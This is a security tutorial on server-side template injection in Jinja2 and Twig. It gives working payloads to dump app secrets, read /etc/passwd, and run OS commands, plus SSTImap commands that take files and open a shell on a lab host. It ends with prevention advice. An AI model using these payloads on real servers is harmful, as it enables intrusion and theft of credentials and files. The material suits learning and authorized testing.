all articles / 2026-10-09

Server-Side Template Injection

SSTI Identification and Exploitation

What Is SSTI?

SSTI occurs when an attacker can inject template code into a template that is later rendered by the server. Because template engines execute code in the template string, malicious injected code runs on the server — potentially giving the attacker full control.

How SSTI Happens (Root Causes)

ScenarioWhy It's Vulnerable
User input inserted into the template string before renderingThe engine treats user input as template code, not data
App renders the same template multiple timesOutput from round 1 becomes template input for round 2
Users can submit or modify existing templatesObvious direct injection into the template

Safe: render("Hello {{ name }}!", name=user_input) — user input is a value Vulnerable: render(f"Hello {user_input}!") — user input is part of the template

Step 1 — Confirming SSTI

Inject a string containing all special characters used across popular template engines:

text
${{<%[%'"}}%\.

This string will almost certainly break the template syntax of whichever engine is in use, triggering an error. An Internal Server Error is a strong signal — it doesn't confirm SSTI definitively but raises strong suspicion.

Analogy: like injecting ' into SQL injection testing — it breaks syntax and signals a vulnerability.

1

2


Step 2 — Identifying the Template Engine

Exploitation is engine-specific. Use this decision tree (inject ${7*7} first, follow green = executed, red = not executed): Pasted image 20260715155310

Reading the Decision Tree in Practice

Test 1: Inject ${7*7}

  • Reflected literally as ${7*7} → not a Mako/Smarty engine → proceed to {{7*7}}

Test 2: Inject {{7*7}}

  • Output 49 → engine evaluates {{ }} → proceed to {{7*'7'}}

Test 3: Inject {{7*'7'}}

  • Output 7777777 → Jinja2 (Python multiplies string × int)
  • Output 49 → Twig (PHP converts '7' to int, multiplies)

Exploiting SSTI — Jinja2 (Python / Flask / Django)

Jinja2 payloads can use any Python library already imported by the app, and can import additional ones via __import__.

Information Disclosure

Dump the entire app configuration (secret keys, settings):

jinja2
{{ config.items() }}

Returns all Flask config including SECRET_KEY, session settings, debug mode, etc.

Dump all available Python built-in functions:

jinja2
{{ self.__init__.__globals__.__builtins__ }}

Returns the full __builtins__ dictionary — reveals what functions are available to call.

Local File Inclusion (LFI)

Use Python's open() from the __builtins__ dictionary (can't call it directly):

jinja2
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}

Result: Full contents of /etc/passwd rendered in the page.

Remote Code Execution (RCE)

Use the os library. If it's not already imported, use __import__ to load it:

jinja2
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Result: uid=0(root) gid=0(root) groups=0(root) — confirmed RCE as root.

Replace 'id' with any command: 'cat /etc/shadow', 'whoami', reverse shell payload, etc.

Jinja2 Payload Summary

GoalPayload
Dump config{{ config.items() }}
Dump builtins{{ self.__init__.__globals__.__builtins__ }}
Read local file{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
RCE{{ self.__init__.__globals__.__builtins__.__import__('os').popen('CMD').read() }}

Exploiting SSTI — Twig (PHP / Symfony)

Twig is a PHP template engine. Payloads use PHP functions and Twig's own filter mechanism.

Information Disclosure

Get basic template info:

twig
{{ _self }}

Returns the internal template object identifier (limited info compared to Jinja2).

Local File Inclusion (LFI)

Twig itself has no direct file-read function. However, Symfony (a PHP framework that uses Twig) defines the file_excerpt filter:

twig
{{ "/etc/passwd"|file_excerpt(1,-1) }}

Result: Full contents of /etc/passwd.

Note: This requires the Symfony framework. Pure Twig without Symfony doesn't expose this filter.

Remote Code Execution (RCE)

Pass a command to PHP's system() function using Twig's filter function:

twig
{{ ['id'] | filter('system') }}

Result: uid=33(www-data) gid=33(www-data) groups=33(www-data) — RCE confirmed.

Twig Payload Summary

GoalPayload
Template info{{ _self }}
Read local file (Symfony){{ "/etc/passwd"|file_excerpt(1,-1) }}
RCE{{ ['CMD'] | filter('system') }}

Jinja2 vs Twig — Side-by-Side

FeatureJinja2 (Python)Twig (PHP)
LanguagePythonPHP
Common frameworksFlask, DjangoSymfony, Laravel
Confirm payload{{7*'7'}} → 7777777{{7*'7'}} → 49
Info disclosure{{ config.items() }} — very rich{{ _self }} — limited
LFI__builtins__.open(...).read()file_excerpt (Symfony only)
RCE__import__('os').popen('cmd').read()['cmd'] | filter('system')

Full SSTI Attack Flow

text
1. Find a reflection point (user input displayed on page)
        ↓
2. Confirm SSTI: inject ${{<%[%'"}}%\.  → error = suspicious
        ↓
3. Fingerprint engine: ${7*7} → {{7*7}} → {{7*'7'}}
        ↓
4. Information disclosure (config dump, builtins)
        ↓
5. LFI → read sensitive files
        ↓
6. RCE → full server compromise

Key Takeaways

  1. Always fingerprint the engine before exploiting — payloads are not interchangeable between engines.
  2. {{7*'7'}} is the key differentiator: 7777777 = Jinja2, 49 = Twig.
  3. Jinja2 gives deeper access via Python's object hierarchy (__globals__, __builtins__).
  4. Twig RCE is simpler syntactically — filter('system') is clean and direct.
  5. For unfamiliar engines, check the PayloadsAllTheThings SSTI cheat sheet — the general concept transfers, only the syntax changes.

SSTI — Tools & Prevention


Tool: SSTImap

The most popular legacy tool was tplmap, but it is no longer maintained and runs on deprecated Python 2. The modern replacement is SSTImap.

GitHub: https://github.com/vladko312/SSTImap

Installation

bash
git clone https://github.com/vladko312/SSTImap
cd SSTImap
pip3 install -r requirements.txt
python3 sstimap.py

SSTImap Usage

1. Detect SSTI & Identify the Engine

Provide the target URL with the injectable parameter marked as the value:

bash
python3 sstimap.py -u http://172.17.0.2/index.php?name=test

Example output:

text
[+] SSTImap identified the following injection point:

  Query parameter: name
  Engine:          Twig
  Injection:       *
  Context:         text
  OS:              Linux
  Technique:       render
  Capabilities:
    Shell command execution: ok
    Bind and reverse shell:  ok
    File write:              ok
    File read:               ok
    Code evaluation:         ok, php code

SSTImap automatically confirms the SSTI, identifies the template engine (Twig here), and lists exactly what you can do with it.


2. Download a Remote File (-D)

Exfiltrate a file from the server to your local machine:

bash
python3 sstimap.py -u http://172.17.0.2/index.php?name=test -D '/etc/passwd' './passwd'
text
[+] File downloaded correctly

The remote file /etc/passwd is saved locally as ./passwd.


3. Execute a System Command (-S)

Run a single OS command and receive its output:

bash
python3 sstimap.py -u http://172.17.0.2/index.php?name=test -S id
text
uid=33(www-data) gid=33(www-data) groups=33(www-data)

4. Get an Interactive Shell (--os-shell)

Drop straight into an interactive shell on the target:

bash
python3 sstimap.py -u http://172.17.0.2/index.php?name=test --os-shell

SSTImap Flag Cheatsheet

FlagPurposeExample
-uTarget URL with injectable parameter-u http://target/page?param=test
-DDownload remote file to local path-D '/etc/passwd' './passwd'
-SExecute a single shell command-S id
--os-shellInteractive OS shell--os-shell

Preventing SSTI

Root Fix — Keep User Input Out of the Template String

The only reliable prevention is ensuring user input is never passed as part of the template — only ever as a value to the rendering function.

python
# SAFE — user input is a value
render("Hello {{ name }}!", name=user_input)

# VULNERABLE — user input is in the template
render(f"Hello {user_input}!")

Audit all code paths to verify no user-controlled data is concatenated into a template before rendering.


When Users Must Interact with Templates (Business Requirement)

If the application legitimately allows users to submit or modify templates, two hardening approaches apply:

ApproachDescriptionLimitation
Remove dangerous functionsStrip functions from the engine's execution environment that enable RCE (system, open, __import__, etc.)Prone to bypasses — attackers find alternate paths
Isolate the execution environmentRun the template engine in a separate sandboxed container (e.g. Docker) entirely isolated from the web serverMuch stronger — limits blast radius even if bypassed

Prefer isolation over function stripping. Stripping is a cat-and-mouse game; sandboxing limits what an attacker can reach even after a successful SSTI.


Key Takeaways

  1. SSTImap replaces tplmap — use it to auto-detect the engine and capabilities in one command.
  2. -u scans, -S executes, -D exfiltrates, --os-shell gives interactive access.
  3. Prevention = keep user input out of the template string, always passed as a value.
  4. If templates must be user-editable, sandbox the engine in Docker rather than trying to blacklist dangerous functions.

Written by Asiljon Pulatboev.